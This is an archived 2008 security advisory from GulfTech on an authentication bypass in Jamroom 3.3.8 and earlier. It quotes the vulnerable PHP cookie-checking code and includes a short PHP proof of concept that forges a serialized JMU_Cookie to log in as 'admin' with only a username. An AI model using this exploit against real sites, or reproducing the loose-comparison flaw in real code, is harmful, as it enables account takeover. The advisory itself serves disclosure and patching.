talldude-bypass.txt

`##########################################################  
# GulfTech Security Research July 28, 2008  
##########################################################  
# Vendor : Talldude Networks, LLC  
# URL : http://www.jamroom.net/  
# Version : Jamroom <= 3.3.8  
# Risk : Authentication Bypass  
##########################################################  
  
  
Description:  
Jamroom is a popular online social media cms used to host artist sites  
and create music communities. It is vulnerable to a flaw in datatype  
comparison that allows for an attacker to bypass the authentication  
process completely and gain access to any account with only a username.  
This vulnerability has been patched in the latest version of JamRoom and  
all users are encouraged to upgrade as soon as possible.  
  
  
  
Authentication Bypass:  
There is a serious flaw in the Jamroom authentication mechanism that  
allows for an attacker to completely bypass the authentication process  
with a specially crafted cookie. The vulnerable code in question can  
be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within  
the jrCookie() function  
  
list($user,$hash) = unserialize(stripslashes($_val));  
$user = trim(genc('get',$user));  
$req = "SELECT user_nickname, user_password  
FROM {$jamroom_db['user']}  
WHERE user_nickname = '". dbEscapeString($user) ."'  
LIMIT 1";  
$_rt = dbQuery($req,'SINGLE');  
if (strlen($_rt['user_password']) === 0) {  
return(false);  
}  
if (md5($_rt['user_password'] . $sect) == $hash) {  
print_r($rt);  
return($_rt);  
}  
  
The problem with the above code is that $_val is a user supplied value  
taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized  
an attacker can specify data types such as boolean values, and bypass  
the password check, and authenticate with only a username. If the first  
byte of the password hash stored in the database is numerical then a  
boolean value of true can be used in place of an actual password, and  
if the first byte is a letter then a boolean value of false is required.  
  
<?php  
$data = array();  
$user = 'admin'; // Target  
  
$data[0] = base64_encode(serialize($user));  
$data[1] = (bool)0;  
echo "\n\n===[ 0 ] ========================\n\n";  
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));  
$data[1] = (bool)1;  
echo "\n\n===[ 1 ] ========================\n\n";  
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));  
?>  
  
The above script is an example of how this works, and will create a  
cookie to login as the user admin. For more information check out the  
comparison operators section of the php manual. Specifically the  
"identical" operator.  
  
  
  
Solution:  
The JamRoom developers were very prompt in addressing this issue, and  
have released an updated version for download. All users are encouraged  
to upgrade their JamRoom installation as soon as possible.  
  
  
  
Credits:  
James Bercegay of the GulfTech Security Research Team  
  
  
  
Related Info:  
The original advisory can be found at the following location  
http://www.gulftech.org/?node=research&article_id=00117-07282008  
`